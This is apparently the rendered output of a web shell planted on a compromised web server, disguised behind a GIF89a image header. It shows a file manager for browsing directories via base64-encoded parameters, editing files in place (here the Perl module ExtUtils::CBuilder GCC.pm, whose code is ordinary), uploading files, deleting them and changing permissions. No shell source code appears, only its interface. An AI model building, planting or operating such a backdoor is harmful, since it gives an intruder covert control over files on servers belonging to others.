GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>GCC.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&f=R0NDLnBt"><input name="f" value="GCC.pm"><textarea name="t">package ExtUtils::CBuilder::Platform::Windows::GCC;

our $VERSION = '0.280238'; # VERSION

use warnings;
use strict;

sub format_compiler_cmd {
  my ($self, %spec) = @_;

  foreach my $path ( @{ $spec{includes} || [] },
                     @{ $spec{perlinc}  || [] } ) {
    $path = '-I' . $path;
  }

  # split off any -arguments included in cc
  my @cc = split / (?=-)/, $spec{cc};

  return [ grep {defined &amp;&amp; length} (
    @cc, '-c'               ,
    @{$spec{includes}}      ,
    @{$spec{cflags}}        ,
    @{$spec{optimize}}      ,
    @{$spec{defines}}       ,
    @{$spec{perlinc}}       ,
    '-o', $spec{output}     ,
    $spec{source}           ,
  ) ];
}

sub format_linker_cmd {
  my ($self, %spec) = @_;
  my $cf = $self-&gt;{config};

  # The Config.pm variable 'libperl' is hardcoded to the full name
  # of the perl import library (i.e. 'libperl56.a'). GCC will not
  # find it unless the 'lib' prefix &amp; the extension are stripped.
  $spec{libperl} =~ s/^(?:lib)?([^.]+).*$/-l$1/;

  unshift( @{$spec{other_ldflags}}, '-nostartfiles' )
    if ( $spec{startup} &amp;&amp; @{$spec{startup}} );

  %spec = $self-&gt;write_linker_script(%spec)
    if $spec{use_scripts};

  foreach my $path ( @{$spec{libpath}} ) {
    $path = &quot;-L$path&quot;;
  }

  my @cmds; # Stores the series of commands needed to build the module.

  my $DLLTOOL = $cf-&gt;{dlltool} || 'dlltool';

  push @cmds, [
    $DLLTOOL, '--def'        , $spec{def_file},
              '--output-exp' , $spec{explib}
  ];

  # split off any -arguments included in ld
  my @ld = split / (?=-)/, $spec{ld};

  push @cmds, [ grep {defined &amp;&amp; length} (
    @ld                       ,
    '-o', $spec{output}       ,
    &quot;-Wl,--base-file,$spec{base_file}&quot;   ,
    &quot;-Wl,--enable-auto-image-base&quot; ,
    @{$spec{lddlflags}}       ,
    @{$spec{libpath}}         ,
    @{$spec{startup}}         ,
    @{$spec{objects}}         ,
    @{$spec{other_ldflags}}   ,
    $spec{libperl}            ,
    @{$spec{perllibs}}        ,
    $spec{explib}             ,
    $spec{map_file} ? ('-Map', $spec{map_file}) : ''
  ) ];

  push @cmds, [
    $DLLTOOL, '--def'        , $spec{def_file},
              '--output-exp' , $spec{explib},
              '--base-file'  , $spec{base_file}
  ];

  push @cmds, [ grep {defined &amp;&amp; length} (
    @ld                       ,
    '-o', $spec{output}       ,
    &quot;-Wl,--enable-auto-image-base&quot; ,
    @{$spec{lddlflags}}       ,
    @{$spec{libpath}}         ,
    @{$spec{startup}}         ,
    @{$spec{objects}}         ,
    @{$spec{other_ldflags}}   ,
    $spec{libperl}            ,
    @{$spec{perllibs}}        ,
    $spec{explib}             ,
    $spec{map_file} ? ('-Map', $spec{map_file}) : ''
  ) ];

  return @cmds;
}

sub write_linker_script {
  my ($self, %spec) = @_;

  my $script = File::Spec-&gt;catfile( $spec{srcdir},
                                    $spec{basename} . '.lds' );

  $self-&gt;add_to_cleanup($script);

  print &quot;Generating script '$script'\n&quot; if !$self-&gt;{quiet};

  my $SCRIPT = IO::File-&gt;new( &quot;&gt;$script&quot; )
    or die( &quot;Could not create script '$script': $!&quot; );

  print $SCRIPT ( 'SEARCH_DIR(' . $_ . &quot;)\n&quot; )
    for @{delete $spec{libpath} || []};

  # gcc takes only one startup file, so the first object in startup is
  # specified as the startup file and any others are shifted into the
  # beginning of the list of objects.
  if ( $spec{startup} &amp;&amp; @{$spec{startup}} ) {
    print $SCRIPT 'STARTUP(' . shift( @{$spec{startup}} ) . &quot;)\n&quot;;
    unshift @{$spec{objects}},
      @{delete $spec{startup} || []};
  }

  print $SCRIPT 'INPUT(' . join( ',',
    @{delete $spec{objects}  || []}
  ) . &quot;)\n&quot;;

  print $SCRIPT 'INPUT(' . join( ' ',
     (delete $spec{libperl}  || ''),
    @{delete $spec{perllibs} || []},
  ) . &quot;)\n&quot;;

  #it is important to keep the order 1.linker_script - 2.other_ldflags
  unshift @{$spec{other_ldflags}}, '&quot;' . $script . '&quot;';

  return %spec;
}

1;


</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/perl/5.38.2/ExtUtils/CBuilder/Platform/Windows<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybQ=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&x=QkNDLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&f=QkNDLnBt"/>BCC.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&f=QkNDLnBt&c=`+btoa(c):0" value="0644"></td><td>3503</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&x=R0NDLnBt">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&f=R0NDLnBt"/>GCC.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&f=R0NDLnBt&c=`+btoa(c):0" value="0644"></td><td>3898</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&x=TVNWQy5wbQ==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&f=TVNWQy5wbQ=="/>MSVC.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9wZXJsLzUuMzguMi9FeHRVdGlscy9DQnVpbGRlci9QbGF0Zm9ybS9XaW5kb3dz&f=TVNWQy5wbQ==&c=`+btoa(c):0" value="0644"></td><td>3248</td></tr></table>